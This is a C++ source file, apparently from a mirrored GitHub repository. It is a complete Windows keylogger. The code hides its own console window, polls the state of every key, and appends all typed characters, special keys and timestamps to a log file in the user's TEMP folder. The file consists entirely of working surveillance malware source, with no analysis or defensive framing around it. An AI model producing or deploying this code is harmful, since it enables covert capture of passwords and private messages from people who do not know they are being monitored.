mirror of
https://github.com/frankwxu/Ubalt.git
synced 2026-04-10 12:33:42 +00:00
168 lines
6.2 KiB
C++
168 lines
6.2 KiB
C++
#include <stdio.h>
|
||
#include <time.h>
|
||
#include <windows.h>
|
||
#include <Winuser.h>
|
||
|
||
bool cap=false;
|
||
|
||
bool skb(int i) { return !(bool)((GetAsyncKeyState(i)>>15)+1);}
|
||
|
||
void kbp(bool* buf)
|
||
{ int i=0,k;
|
||
for (;i<256;i++)
|
||
buf[i]=(bool)(GetAsyncKeyState(i)&1);
|
||
}
|
||
|
||
int t_cl(char* plik,int sl)
|
||
{bool buf[256],allstate=false,alt=false,stan=false;
|
||
int i,j=0,sek=0;
|
||
int c=0;
|
||
int k=1000/sl; // operations per second
|
||
int sektime=60;
|
||
FILE *f;
|
||
time_t timenow;
|
||
f=fopen(plik,"a+");
|
||
if (f)
|
||
{
|
||
time ( &timenow );
|
||
fprintf (f,"\n%s========================\n", asctime (localtime ( &timenow )) );
|
||
fclose(f);
|
||
}
|
||
while(1)
|
||
{
|
||
f=fopen(plik,"a+");
|
||
if (f)
|
||
{
|
||
Sleep(sl);
|
||
memset(buf,0,256);
|
||
stan=false;
|
||
|
||
c=0;
|
||
kbp(buf);
|
||
for (i=0;i<256;i++) {c+=buf[i];}
|
||
if (c==0)
|
||
{
|
||
j++;
|
||
if (j>=k) {j=0; sek++;}
|
||
}
|
||
|
||
if ((sek>=sektime)&&((c!=0)&&(buf[1]!=1)))
|
||
{
|
||
j=0;sek=0;
|
||
time ( &timenow );
|
||
fprintf (f,"\n\n%s========================\n", asctime (localtime ( &timenow )) );
|
||
}
|
||
if (sek>sektime) sek=sektime;
|
||
if ((c!=0)&&(buf[1]!=1)) sek=0;
|
||
|
||
if (skb(17)&&skb(163)&&skb(27)) return 0;
|
||
if (buf[17]&&buf[163]) fprintf (f,"[CTRL_R]");
|
||
if (buf[17]&&buf[162]&&(!buf[18]&&!buf[165])) fprintf (f,"[CTRL_L]");
|
||
if (buf[17]&&buf[18]&&buf[162]&&buf[165]) {alt=!alt; }
|
||
if (buf[18]&&buf[164]) fprintf (f,"[Alt_L]");
|
||
if (buf[45]) fprintf (f,"[Ins]");
|
||
if (buf[46]) fprintf (f,"[Del]");
|
||
// if (buf[33]) fprintf (f,"[PgUp]");
|
||
// if (buf[34]) fprintf (f,"[PgDn]");
|
||
// if (buf[35]) fprintf (f,"[End]");
|
||
// if (buf[36]) fprintf (f,"[Home]");
|
||
// if (buf[27]) fprintf (f,"[Esc]");
|
||
if (buf[32]) fprintf (f," ");
|
||
if (buf[20]) cap=!cap;
|
||
if (buf[91]) fprintf (f,"[WinL]");
|
||
if (buf[92]) fprintf (f,"[WinR]");
|
||
if (buf[93]) fprintf (f,"[Menu]");
|
||
if (buf[13]) fprintf (f,"\n[ENTER]\n");
|
||
if (buf[8]) fprintf (f,"[Backsp]");
|
||
if (buf[9]) fprintf (f,"[Tab]");
|
||
if (buf[44]) fprintf (f,"[SysRq]");
|
||
if (buf[145]) fprintf (f,"[ScrLck]");
|
||
if (buf[19]) fprintf (f,"[Break]");
|
||
// if (buf[38]) fprintf (f,"[K_Up]");
|
||
// if (buf[40]) fprintf (f,"[K_Dn]");
|
||
// if (buf[37]) fprintf (f,"[K_Left]");
|
||
// if (buf[39]) fprintf (f,"[K_Right]");
|
||
if (buf[144]) fprintf (f,"[NumLock]");
|
||
if (buf[111]) fprintf (f,"[Num /]");
|
||
if (buf[106]) fprintf (f,"[Num *]");
|
||
if (buf[109]) fprintf (f,"[Num -]");
|
||
if (buf[107]) fprintf (f,"[Num +]");
|
||
if (buf[12]) fprintf (f,"[Num ]");
|
||
if (buf[192]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"`"); else fprintf (f,"~");
|
||
if (buf[189]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"-"); else fprintf (f,"_");
|
||
if (buf[187]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"="); else fprintf (f,"+");
|
||
if (buf[220]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"\\"); else fprintf (f,"|");
|
||
if (buf[219]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"["); else fprintf (f,"{");
|
||
if (buf[221]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"]"); else fprintf (f,"}");
|
||
if (buf[186]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,";"); else fprintf (f,":");
|
||
if (buf[222]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"'"); else fprintf (f,"\"");
|
||
if (buf[188]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,","); else fprintf (f,"<");
|
||
if (buf[190]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"."); else fprintf (f,">");
|
||
if (buf[191]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"/"); else fprintf (f,"?");
|
||
if (buf[48]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"0"); else fprintf (f,")");
|
||
if (buf[49]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"1"); else fprintf (f,"!");
|
||
if (buf[50]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"2"); else fprintf (f,"@");
|
||
if (buf[51]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"3"); else fprintf (f,"#");
|
||
if (buf[52]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"4"); else fprintf (f,"$");
|
||
if (buf[53]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"5"); else fprintf (f,"%");
|
||
if (buf[54]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"6"); else fprintf (f,"^");
|
||
if (buf[55]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"7"); else fprintf (f,"&");
|
||
if (buf[56]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"8"); else fprintf (f,"*");
|
||
if (buf[57]) if (!skb(16)&&!(skb(161)||skb(160))) fprintf (f,"9"); else fprintf (f,"(");
|
||
for (i=96;i<106;i++)
|
||
if (buf[i]) fprintf (f,"[Num %c]",i-48);
|
||
if (buf[110]) fprintf (f,"[Num .]");
|
||
for (i=112;i<124;i++) if (buf[i]) fprintf (f,"[F%d]",i-111);
|
||
alt=alt&&skb(17)&&skb(18)&&skb(162)&&skb(165);
|
||
for (i=65;i<91;i++)
|
||
if (buf[i])
|
||
if ((!skb(16)&&!(skb(161)||skb(160))&&(!cap))||((skb(16)&&(skb(161)||skb(160)))&&cap))
|
||
{
|
||
// local characters - adjust it to your needs
|
||
if ((buf[65])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[67])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[69])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[76])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[78])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[79])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[83])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[88])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[90])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
fprintf (f,"%c",i+32);
|
||
}else
|
||
{
|
||
if ((buf[65])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[67])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[69])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[76])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[78])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[79])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[83])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[88])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
if ((buf[90])&&alt) fprintf (f,"<EFBFBD>"); else
|
||
fprintf (f,"%c",i);
|
||
}
|
||
fclose(f);
|
||
}
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
int main()
|
||
{char* path;
|
||
char name[2048];
|
||
char wt[1024];
|
||
HWND hWnd;
|
||
GetConsoleTitle(wt, 1024);
|
||
hWnd=FindWindow(NULL,wt);
|
||
ShowWindow(hWnd,SW_HIDE);
|
||
memset(name,0,2048);
|
||
path = getenv ("TEMP");
|
||
strncat(name,path,2000);
|
||
strcat (name,"\\");
|
||
strcat (name,"kl0001.log");
|
||
t_cl(name,5);
|
||
|
||
return 0;
|
||
}
|